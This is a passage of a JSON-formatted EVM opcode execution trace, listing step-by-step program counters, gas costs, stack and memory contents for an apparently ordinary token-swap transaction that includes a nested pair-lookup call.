3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":218,"op":"PUSH1","gas":76456,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":220,"op":"PUSH1","gas":76453,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":222,"op":"PUSH1","gas":76450,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":224,"op":"SHL","gas":76447,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x1","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":225,"op":"SUB","gas":76444,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":226,"op":"SWAP1","gas":76441,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":227,"op":"SWAP2","gas":76438,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":228,"op":"AND","gas":76435,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":229,"op":"DUP2","gas":76432,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":230,"op":"MSTORE","gas":76429,"gasCost":9,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":231,"op":"PUSH1","gas":76420,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":233,"op":"ADD","gas":76417,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x20"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":234,"op":"JUMPDEST","gas":76414,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":235,"op":"PUSH1","gas":76413,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":237,"op":"MLOAD","gas":76410,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":238,"op":"DUP1","gas":76407,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":239,"op":"SWAP2","gas":76404,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0xa0","0x80","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":240,"op":"SUB","gas":76401,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x80","0xa0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":241,"op":"SWAP1","gas":76398,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x80","0x20"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":242,"op":"RETURN","gas":76395,"gasCost":0,"depth":2,"stack":["0xe6a43905","0xd6","0x20","0x80"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"]},{"pc":12451,"op":"ISZERO","gas":77620,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12452,"op":"DUP1","gas":77617,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12453,"op":"ISZERO","gas":77614,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12454,"op":"PUSH2","gas":77611,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12457,"op":"JUMPI","gas":77608,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x0","0x1","0x30b3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12467,"op":"JUMPDEST","gas":77598,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12468,"op":"POP","gas":77597,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12469,"op":"POP","gas":77595,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf495688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12470,"op":"POP","gas":77593,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","000000